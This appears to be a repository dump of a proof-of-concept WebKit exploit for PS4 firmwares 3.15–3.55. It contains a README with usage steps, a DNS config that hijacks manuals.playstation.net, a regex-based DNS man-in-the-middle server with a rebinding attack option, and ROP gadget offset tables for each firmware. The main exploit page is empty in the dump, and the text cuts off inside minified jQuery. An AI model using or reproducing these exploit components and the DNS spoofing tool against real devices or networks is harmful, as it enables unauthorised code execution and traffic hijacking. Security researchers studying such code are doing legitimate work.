├── README.md
├── dns.conf
├── dumps
└── .gitkeep
├── fakedns.py
├── ps4sploit.html
├── scripts
├── gadgets.js
├── jquery.min.js
├── js_utils.js
├── long.js
├── mem_utils.js
├── network_utils.js
└── rop.js
└── server.py
/README.md:
--------------------------------------------------------------------------------
1 | PS4 3.55 Unsigned Code Execution
2 | ==============
3 | This GitHub Repository contains all the necessary tools for getting PoC Unsigned Code Execution on a Sony PS4 System with firmwares 3.15, 3.50 and 3.55.
4 | This Exploit, is based-off [Henkaku's](https://henkaku.xyz/) WebKit Vulnerability for the Sony's PSVita.
5 | It includes basic ROP and is able to return to normal execution.
6 |
7 | Pre-Requisites:
8 | ==============
9 | 1. A PC
10 | 1. Running Windows, macOS or Linux
11 | 2. A already set up basic server where the PS4 User's Guide launcher will point for loading the payload
12 | 3. [Python](https://www.python.org/downloads/) 2.7.X
13 | * Python 3.X gives problems, since they included major changes on the syntax and on the libraries in comparison with 2.7
14 | 2. A Sony PlayStation 4
15 | 1. Running the following firmwares:
16 | * 3.15, 3.50 or 3.55
17 | 3. Internet Connection (PS4 and PC directly wired to the Router is the mostly preferred option)
18 |
19 | Usage:
20 | ==============
21 | There are two different methods to execute the Exploit, but first let's clarify how we will know which one to use.
22 | If your PlayStation 4 has got an already set-up PlayStation Network Account on it, you should use method 1.
23 | Else, if your PlayStation 4 -NEVER- had a PlayStation Network Account on it, you should use method 2.
24 | Probably you will ask why, it's pretty much easy to explain and understand:
25 | When you buy a PS4, comes unactivated, meaning that nobody has entered SEN Account on it. (Method 2)
26 | Once you use a SEN Account on it, the PS4 becomes an activated console. (Method 1)
27 | This doesn't affect the actual payload, but you should take in mind which method use.
28 |
29 | Method 1:
30 | ==============
31 | Run this command on the folder you've downloaded this repo:
32 | `python server.py`
33 | All the debug options will be outputted during the Exploit process.
34 | Navigate to your PS4's Web Browser and simply type on the adress bar, your PC's IP Adress.
35 | Wait until the exploit finishes, once it does, PS4 will return to it's normal state.
36 | An example of what will look like found [HERE](https://gist.github.com/Fire30/2e0ea2d73d3a1f6f95d80aea77b75df8).
37 |
38 | Method 2:
39 | ==============
40 | A dns.conf file which is present on the source, needs to be edited accordingly your local PC's IP Adress.
41 | PlayStation 4's DNS Settings must be changed in order to point the PC's IP Adress where the Exploit is located.
42 | Once you've edited the dns.conf file, simply run the next command on the folder where you downloaded this repo:
43 | `python fakedns.py -c dns.conf`
44 | And then:
45 | `python server.py`
46 | All the debug options will be outputted during the Exploit process.
47 | Once Python part is done, get into your PlayStation 4, navigate to the User's Guide page and wait until exploit finishes out.
48 | An example of what will look like found [HERE](https://gist.github.com/Fire30/2e0ea2d73d3a1f6f95d80aea77b75df8).
49 |
50 | Miscellaneous:
51 | ==============
52 | If you want to try the socket test, change the IP Address located at the bottom of the ps4sploit.html file with your computer's one and run this command:
53 | `netcat -l 0.0.0.0 8989 -v`
54 | You should see something like:
55 | ```
56 | Listening on [0.0.0.0] (family 0, port 8989)
57 | Connection from [192.168.1.72] port 8989 [tcp/sunwebadmins] accepted (family 2, sport 59389)
58 | Hello From a PS4!
59 | ```
60 | Notes about this exploit:
61 | ==============
62 | * Currently, the exploit does not work 100%, but is around 80% which is fine for our purposes.
63 | * Although it is confirmed to work, sometimes will fail, just wait some seconds and re-run the payload.
64 | * Performing too much memory allocation after sort() is called, can potentially lead to more instability and it may crash more.
65 | * The process will crash after the ROP payload is done executing.
66 | * This is only useful for researchers. There are many many more steps needed before this becomes useful to normal users.
67 |
68 | Acknowledgements
69 | ================
70 | xyz - Much of the code is based off of his code used for the Henkaku project
71 | Anonymous contributor - WebKit Vulnerability PoC
72 | CTurt - I basically copied his JuSt-ROP idea
73 | xerpi - Used his idea for the socket code
74 | rck\`d - Finding bugs such as not allocating any space for a stack on function calls
75 | Maxton - 3.50 support and various cleanup
76 | Thunder07 - 3.15 support
77 |
78 |
79 | Contributing
80 | ================
81 | The code currently is a bit of a mess, so if you have any improvements feel free to send a pull request or make an issue. Also I am perfectly fine if you want to fork and create your own project.
82 |
--------------------------------------------------------------------------------
/dns.conf:
--------------------------------------------------------------------------------
1 | A manuals.playstation.net 192.168.1.67
2 |
--------------------------------------------------------------------------------
/dumps/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Fire30/PS4-3.55-Code-Execution-PoC/d79db657b5e54d25f1d7217133a259fe96d8a55a/dumps/.gitkeep
--------------------------------------------------------------------------------
/fakedns.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | """ """
3 | """ Fakedns.py """
4 | """ A regular-expression based DNS MITM Server """
5 | """ by: Crypt0s """
6 |
7 | import pdb
8 | import threading
9 | import time
10 | import socket
11 | import re
12 | import sys
13 | import os
14 | import SocketServer
15 | import signal
16 | import argparse
17 |
18 | # inspired from DNSChef
19 |
20 |
21 | class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
22 |
23 | def __init__(self, server_address, RequestHandlerClass):
24 | self.address_family = socket.AF_INET
25 | SocketServer.UDPServer.__init__(
26 | self, server_address, RequestHandlerClass)
27 |
28 |
29 | class UDPHandler(SocketServer.BaseRequestHandler):
30 |
31 | def handle(self):
32 | (data, s) = self.request
33 | respond(data, self.client_address, s)
34 |
35 |
36 | class DNSQuery:
37 |
38 | def __init__(self, data):
39 | self.data = data
40 | self.dominio = ''
41 | tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
42 | if tipo == 0: # Standard query
43 | ini = 12
44 | lon = ord(data[ini])
45 | while lon != 0:
46 | self.dominio += data[ini + 1:ini + lon + 1] + '.'
47 | ini += lon + 1 # you can implement CNAME and PTR
48 | lon = ord(data[ini])
49 | self.type = data[ini:][1:3]
50 | else:
51 | self.type = data[-4:-2]
52 |
53 | # Because python doesn't have native ENUM in 2.7:
54 | TYPE = {
55 | "\x00\x01": "A",
56 | "\x00\x1c": "AAAA",
57 | "\x00\x05": "CNAME",
58 | "\x00\x0c": "PTR",
59 | "\x00\x10": "TXT",
60 | "\x00\x0f": "MX"
61 | }
62 |
63 | # Stolen:
64 | # https://github.com/learningequality/ka-lite/blob/master/python-packages/django/utils/ipv6.py#L209
65 |
66 |
67 | def _is_shorthand_ip(ip_str):
68 | """Determine if the address is shortened.
69 | Args:
70 | ip_str: A string, the IPv6 address.
71 | Returns:
72 | A boolean, True if the address is shortened.
73 | """
74 | if ip_str.count('::') == 1:
75 | return True
76 | if any(len(x) < 4 for x in ip_str.split(':')):
77 | return True
78 | return False
79 |
80 | # Stolen:
81 | # https://github.com/learningequality/ka-lite/blob/master/python-packages/django/utils/ipv6.py#L209
82 |
83 |
84 | def _explode_shorthand_ip_string(ip_str):
85 | """
86 | Expand a shortened IPv6 address.
87 | Args:
88 | ip_str: A string, the IPv6 address.
89 | Returns:
90 | A string, the expanded IPv6 address.
91 | """
92 | if not _is_shorthand_ip(ip_str):
93 | # We've already got a longhand ip_str.
94 | return ip_str
95 |
96 | new_ip = []
97 | hextet = ip_str.split('::')
98 |
99 | # If there is a ::, we need to expand it with zeroes
100 | # to get to 8 hextets - unless there is a dot in the last hextet,
101 | # meaning we're doing v4-mapping
102 | if '.' in ip_str.split(':')[-1]:
103 | fill_to = 7
104 | else:
105 | fill_to = 8
106 |
107 | if len(hextet) > 1:
108 | sep = len(hextet[0].split(':')) + len(hextet[1].split(':'))
109 | new_ip = hextet[0].split(':')
110 |
111 | for _ in xrange(fill_to - sep):
112 | new_ip.append('0000')
113 | new_ip += hextet[1].split(':')
114 |
115 | else:
116 | new_ip = ip_str.split(':')
117 |
118 | # Now need to make sure every hextet is 4 lower case characters.
119 | # If a hextet is < 4 characters, we've got missing leading 0's.
120 | ret_ip = []
121 | for hextet in new_ip:
122 | ret_ip.append(('0' * (4 - len(hextet)) + hextet).lower())
123 | return ':'.join(ret_ip)
124 |
125 |
126 | def _get_question_section(query):
127 | # Query format is as follows: 12 byte header, question section (comprised
128 | # of arbitrary-length name, 2 byte type, 2 byte class), followed by an
129 | # additional section sometimes. (e.g. OPT record for DNSSEC)
130 | start_idx = 12
131 | end_idx = start_idx
132 |
133 | num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])
134 |
135 | while num_questions > 0:
136 | while query.data[end_idx] != '\0':
137 | end_idx += ord(query.data[end_idx]) + 1
138 | # Include the null byte, type, and class
139 | end_idx += 5
140 | num_questions -= 1
141 |
142 | return query.data[start_idx:end_idx]
143 |
144 |
145 | class DNSResponse(object):
146 |
147 | def __init__(self, query):
148 | self.id = query.data[:2] # Use the ID from the request.
149 | self.flags = "\x81\x80" # No errors, we never have those.
150 | self.questions = query.data[4:6] # Number of questions asked...
151 | # Answer RRs (Answer resource records contained in response) 1 for now.
152 | self.rranswers = "\x00\x01"
153 | self.rrauthority = "\x00\x00" # Same but for authority
154 | self.rradditional = "\x00\x00" # Same but for additionals.
155 | # Include the question section
156 | self.query = _get_question_section(query)
157 | # The pointer to the resource record - seems to always be this value.
158 | self.pointer = "\xc0\x0c"
159 | # This value is set by the subclass and is defined in TYPE dict.
160 | self.type = None
161 | self.dnsclass = "\x00\x01" # "IN" class.
162 | # TODO: Make this adjustable - 1 is good for noobs/testers
163 | self.ttl = "\x00\x00\x00\x01"
164 | # Set by subclass because is variable except in A/AAAA records.
165 | self.length = None
166 | self.data = None # Same as above.
167 |
168 | def make_packet(self):
169 | try:
170 | self.packet = self.id + self.flags + self.questions + self.rranswers + self.rrauthority + \
171 | self.rradditional + self.query + self.pointer + self.type + \
172 | self.dnsclass + self.ttl + self.length + self.data
173 | except:
174 | pdb.set_trace()
175 | return self.packet
176 |
177 | # All classess need to set type, length, and data fields of the DNS Response
178 | # Finished
179 |
180 |
181 | class A(DNSResponse):
182 |
183 | def __init__(self, query, record):
184 | super(A, self).__init__(query)
185 | self.type = "\x00\x01"
186 | self.length = "\x00\x04"
187 | self.data = self.get_ip(record, query)
188 |
189 | def get_ip(self, dns_record, query):
190 | ip = dns_record
191 | # Convert to hex
192 | return str.join('', map(lambda x: chr(int(x)), ip.split('.')))
193 |
194 | # Not implemented, need to get ipv6 to translate correctly into hex
195 |
196 |
197 | class AAAA(DNSResponse):
198 |
199 | def __init__(self, query, address):
200 | super(AAAA, self).__init__(query)
201 | self.type = "\x00\x1c"
202 | self.length = "\x00\x10"
203 | # Address is already encoded properly for the response at rule-builder
204 | self.data = address
205 |
206 | # Thanks, stackexchange!
207 | # http://stackoverflow.com/questions/16276913/reliably-get-ipv6-address-in-python
208 | def get_ip_6(host, port=0):
209 | # search only for the wanted v6 addresses
210 | result = socket.getaddrinfo(host, port, socket.AF_INET6)
211 | # Will need something that looks like this:
212 | # just returns the first answer and only the address
213 | ip = result[0][4][0]
214 |
215 | # Not yet implemented
216 |
217 |
218 | class CNAME(DNSResponse):
219 |
220 | def __init__(self, query):
221 | super(CNAME, self).__init__(query)
222 | self.type = "\x00\x05"
223 |
224 | # Not yet implemented
225 |
226 |
227 | class PTR(DNSResponse):
228 |
229 | def __init__(self, query, ptr_entry):
230 | super(PTR, self).__init__(query)
231 | self.type = "\x00\x0c"
232 |
233 | ptr_split = ptr_entry.split('.')
234 | ptr_entry = "\x07".join(ptr_split)
235 |
236 | self.data = "\x0e" + ptr_entry + "\x00"
237 | self.data = "\x132-8-8-8\x02lulz\x07com\x00"
238 | self.length = chr(len(ptr_entry) + 2)
239 | # Again, must be 2-byte value.
240 | if self.length < '\xff':
241 | self.length = "\x00" + self.length
242 |
243 | # Finished
244 |
245 |
246 | class TXT(DNSResponse):
247 |
248 | def __init__(self, query, txt_record):
249 | super(TXT, self).__init__(query)
250 | self.type = "\x00\x10"
251 | self.data = txt_record
252 | self.length = chr(len(txt_record) + 1)
253 | # Must be two bytes.
254 | if self.length < '\xff':
255 | self.length = "\x00" + self.length
256 | # Then, we have to add the TXT record length field! We utilize the
257 | # length field for this since it is already in the right spot
258 | self.length = self.length + chr(len(txt_record))
259 |
260 | # And this one is because Python doesn't have Case/Switch
261 | CASE = {
262 | "\x00\x01": A,
263 | "\x00\x1c": AAAA,
264 | "\x00\x05": CNAME,
265 | "\x00\x0c": PTR,
266 | "\x00\x10": TXT
267 | }
268 |
269 | # Technically this is a subclass of A
270 |
271 |
272 | class NONEFOUND(DNSResponse):
273 |
274 | def __init__(self, query):
275 | super(NONEFOUND, self).__init__(query)
276 | self.type = query.type
277 | self.flags = "\x81\x83"
278 | self.rranswers = "\x00\x00"
279 | self.length = "\x00\x00"
280 | self.data = "\x00"
281 | print ">> Built NONEFOUND response"
282 |
283 |
284 | class ruleEngine:
285 |
286 | def __init__(self, file):
287 |
288 | # Hackish place to track our DNS rebinding
289 | self.match_history = {}
290 |
291 | self.re_list = []
292 | print '>>', 'Parse rules...'
293 | with open(file, 'r') as rulefile:
294 | rules = rulefile.readlines()
295 | for rule in rules:
296 | splitrule = rule.split()
297 |
298 | # Make sure that the record type is one we currently support
299 | # TODO: Straight-up let a user define a custome response type
300 | # byte if we don't have one.
301 | if splitrule[0] not in TYPE.values():
302 | print "Malformed rule : " + rule + " Not Processed."
303 | continue
304 |
305 | # We need to do some housekeeping for ipv6 rules and turn them into full addresses if they are shorts.
306 | # I could do this at match-time, but i like speed, so I've
307 | # decided to keep this in the rule parser and then work on the
308 | # logging separate
309 | if splitrule[0] == "AAAA":
310 | if _is_shorthand_ip(splitrule[2]):
311 | splitrule[2] = _explode_shorthand_ip_string(
312 | splitrule[2])
313 | # OK Now we need to get the ip broken into something that
314 | # the DNS response can have in it
315 | splitrule[2] = splitrule[2].replace(":", "").decode('hex')
316 | # That is what goes into the DNS request.
317 |
318 | # If the ip is 'self' transform it to local ip.
319 | if splitrule[2] == 'self':
320 | try:
321 | ip = socket.gethostbyname(socket.gethostname())
322 | except:
323 | print ">> Could not get your IP address from your DNS Server."
324 | ip = '127.0.0.1'
325 | splitrule[2] = ip
326 |
327 | # things after the third element will be dnsrebind args
328 | self.re_list.append(
329 | [splitrule[0], re.compile(splitrule[1])] + splitrule[2:])
330 |
331 | # TODO: More robust logging system - printing ipv6 rules
332 | # requires specialness since I encode the ipv6 addr in-rule
333 | if splitrule[0] == "AAAA":
334 | print '>>', splitrule[1], '->', splitrule[2].encode('hex')
335 | else:
336 | print '>>', splitrule[1], '->', splitrule[2]
337 |
338 | print '>>', str(len(rules)) + " rules parsed"
339 |
340 | # Matching has now been moved into the ruleEngine so that we don't repeat
341 | # ourselves
342 | def match(self, query, addr):
343 | for rule in self.re_list:
344 | # Match on the domain, then on the query type
345 | if rule[1].match(query.dominio):
346 | if query.type in TYPE.keys() and rule[0] == TYPE[query.type]:
347 | # OK, this is a full match, fire away with the correct
348 | # response type:
349 |
350 | # Check our DNS Rebinding tracker and see if we need to
351 | # respond with the second address now...
352 | if args.rebind == True and len(rule) >= 3 and addr in self.match_history.keys():
353 | # use second address (rule[3])
354 | response_data = rule[3]
355 | self.match_history[addr] += 1
356 | elif args.rebind == True and len(rule) >= 3:
357 | self.match_history[addr] = 1
358 | response_data = rule[2]
359 | else:
360 | response_data = rule[2]
361 |
362 | response = CASE[query.type](query, response_data)
363 | print ">> Matched Request - " + query.dominio
364 | return response.make_packet()
365 |
366 | # OK, we don't have a rule for it, lets see if it exists...
367 | try:
368 | # We need to handle the request potentially being a TXT,A,MX,ect... request.
369 | # So....we make a socket and literally just forward the request raw
370 | # to our DNS server.
371 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
372 | s.settimeout(3.0)
373 | addr = ('8.8.8.8', 53)
374 | s.sendto(query.data, addr)
375 | data = s.recv(1024)
376 | s.close()
377 | print "Unmatched Request " + query.dominio
378 | return data
379 | except:
380 | # We really shouldn't end up here, but if we do, we want to handle it gracefully and not let down the client.
381 | # The cool thing about this is that NOTFOUND will take the type straight out of
382 | # the query object and build the correct query response type from
383 | # that automagically
384 | print ">> Error was handled by sending NONEFOUND"
385 | return NONEFOUND(query).make_packet()
386 |
387 | # Convenience method for threading.
388 |
389 |
390 | def respond(data, addr, s):
391 | p = DNSQuery(data)
392 | response = rules.match(p, addr[0])
393 | s.sendto(response, addr)
394 | return response
395 |
396 |
397 | def signal_handler(signal, frame):
398 | print 'Exiting...'
399 | sys.exit(0)
400 |
401 | if __name__ == '__main__':
402 |
403 | parser = argparse.ArgumentParser(description='things and stuff')
404 | parser.add_argument('-c', dest='path', action='store',
405 | help='Path to configuration file', required=True)
406 | parser.add_argument('-i', dest='iface', action='store',
407 | help='IP address you wish to run FakeDns with - default all', default='0.0.0.0', required=False)
408 | parser.add_argument('--rebind', dest='rebind', action='store_true', required=False, default=False,
409 | help="Enable DNS rebinding attacks - responds with one result the first request, and another result on subsequent requests")
410 |
411 | args = parser.parse_args()
412 |
413 | # Default config file path.
414 | path = args.path
415 | if not os.path.isfile(path):
416 | print '>> Please create a "dns.conf" file or specify a config path: ./fakedns.py [configfile]'
417 | exit()
418 |
419 | rules = ruleEngine(path)
420 | re_list = rules.re_list
421 |
422 | interface = args.iface
423 | port = 53
424 |
425 | try:
426 | server = ThreadedUDPServer((interface, int(port)), UDPHandler)
427 | except:
428 | print ">> Could not start server -- is another program on udp:53?"
429 | exit(1)
430 |
431 | server.daemon = True
432 | signal.signal(signal.SIGINT, signal_handler)
433 | server.serve_forever()
434 | server_thread.join()
435 |
--------------------------------------------------------------------------------
/ps4sploit.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
259 |
--------------------------------------------------------------------------------
/scripts/gadgets.js:
--------------------------------------------------------------------------------
1 | gadgetMap = {
2 | 'PlayStation 4 3.55': {
3 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(VTABLE, -0x18a353f),
4 | 'pop rcx; pop rcx': new gadget(VTABLE, -0x5e970c),
5 | 'pop rcx': new gadget(VTABLE, -0xab7d4c),
6 | 'add dword ptr [rax - 0x77], ecx': new gadget(VTABLE, -0x18c3d40),
7 | 'pop rdi': new gadget(VTABLE, -0x11d1d76),
8 | 'mov qword ptr [rdi], rax': new gadget(VTABLE, -0x2372c99),
9 | 'pop rsi': new gadget(VTABLE, -0x88d954),
10 | 'pop rdx': new gadget(VTABLE, -0xac2f8e),
11 | 'pop rax': new gadget(VTABLE, -0x5e9bfd),
12 | 'syscall': new gadget(VTABLE, -0x3dc1a6),
13 | 'pop rsp': new gadget(VTABLE, -0x1abc011),
14 | 'mov rax, qword ptr [rax]': new gadget(VTABLE, -0x238e98d),
15 | 'pop r8': new gadget(VTABLE, -0x15ca007),
16 | 'pop r9': new gadget(VTABLE, -0x17202f1),
17 | },
18 | 'PlayStation 4 3.50': {
19 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(LIBWEBKIT, 0xd5d771, [0x48, 0x94, 0xFF, 0x48, 0x89]),
20 | 'pop rcx; pop rcx': new gadget(LIBWEBKIT, 0x2017594, [0x59, 0x59]),
21 | 'pop rcx': new gadget(LIBWEBKIT, 0x3ca9fd, [0x59]),
22 | 'add dword ptr [rax - 0x77], ecx': new gadget(LIBWEBKIT, 0x55ac, [0x01, 0x48, 0x89]),
23 | 'pop rdi': new gadget(LIBWEBKIT, 0x113991, [0x5f]),
24 | 'mov qword ptr [rdi], rax': new gadget(LIBWEBKIT, 0x11fc37, [0x48, 0x89, 0x07]),
25 | 'pop rsi': new gadget(LIBWEBKIT, 0xb9ebb, [0x5E]),
26 | 'pop rdx': new gadget(LIBWEBKIT, 0x1afa, [0x5A]),
27 | 'pop rax': new gadget(LIBWEBKIT, 0x1c6ab, [0x58]),
28 | 'syscall': new gadget(LIBWEBKIT, 0x1ca1b28, [0x0F, 0x05]),
29 | 'pop rsp': new gadget(LIBWEBKIT, 0x376850, [0x5C]),
30 | 'mov rax, qword ptr [rax]': new gadget(LIBWEBKIT, 0x4add2, [0x48, 0x8B, 0x00]),
31 | 'pop r8': new gadget(LIBWEBKIT, 0x4c12ed, [0x41, 0x58]),
32 | 'pop r9': new gadget(LIBWEBKIT, 0xee09bf, [0x47, 0x59]) // note: this is actually "rex.RXB pop r9"
33 | },
34 | 'PlayStation 4 3.15': {
35 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(VTABLE, 0x00148dfb - ((0x50000 * 4) * 26), [0x48, 0x94, 0xFF, 0x48, 0x89]),
36 | 'pop rcx; pop rcx': new gadget(VTABLE, 0x0016c49c - (((0x50000 * 4) * 26) - (1572864 * (10 + 6))), [0x59, 0x59]),
37 | 'pop rcx': new gadget(VTABLE, 0x0007662b - ((0x50000 * 4) * 26), [0x59]),
38 | 'add dword ptr [rax - 0x77], ecx': new gadget(VTABLE, 0x00001279 - ((0x50000 * 4) * 26), [0x01, 0x48, 0x89]),
39 | 'pop rdi': new gadget(VTABLE, 0x000c7cdc - ((0x50000 * 4) * 26), [0x5f]),
40 | 'mov qword ptr [rdi], rax': new gadget(VTABLE, 0x0000181f - ((0x40000 * 4) * 26), [0x48, 0x89, 0x07]),
41 | 'pop rsi': new gadget(VTABLE, 0x000a08c6 - ((0x50000 * 4) * 26), [0x5E]),
42 | 'pop rdx': new gadget(VTABLE, 0x0000832b - ((0x40000 * 4) * 26), [0x5A]),
43 | 'pop rax': new gadget(VTABLE, 0x0002ea47 - ((0x50000 * 4) * 26), [0x58]),
44 | 'syscall': new gadget(LIBWEBKIT, 0x000777b0 + 1572864 * 18, [0x0F, 0x05]),
45 | 'pop rsp': new gadget(VTABLE, 0x00029f5d - ((0x50000 * 4) * 26), [0x5C]),
46 | 'mov rax, qword ptr [rax]': new gadget(VTABLE, 0x00064214 - ((0x50000 * 4) * 26), [0x48, 0x8B, 0x00]),
47 | 'pop r8': new gadget(LIBWEBKIT, 0x0008c9b6, [0x47, 0x58]),
48 | 'pop r9': new gadget(LIBWEBKIT, 0x0012f5b7 + 1572864 * 6, [0x47, 0x59]),
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/scripts/jquery.min.js:
--------------------------------------------------------------------------------
1 | /*! jQuery v2.2.3 | (c) jQuery Foundation | jquery.org/license */
2 | !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype||{},"isPrototypeOf"))return!1;for(b in a);return void 0===b||k.call(a,b)},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=d.createElement("script"),b.text=a,d.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:h.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(d=e.call(arguments,2),f=function(){return a.apply(b||this,d.concat(e.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return 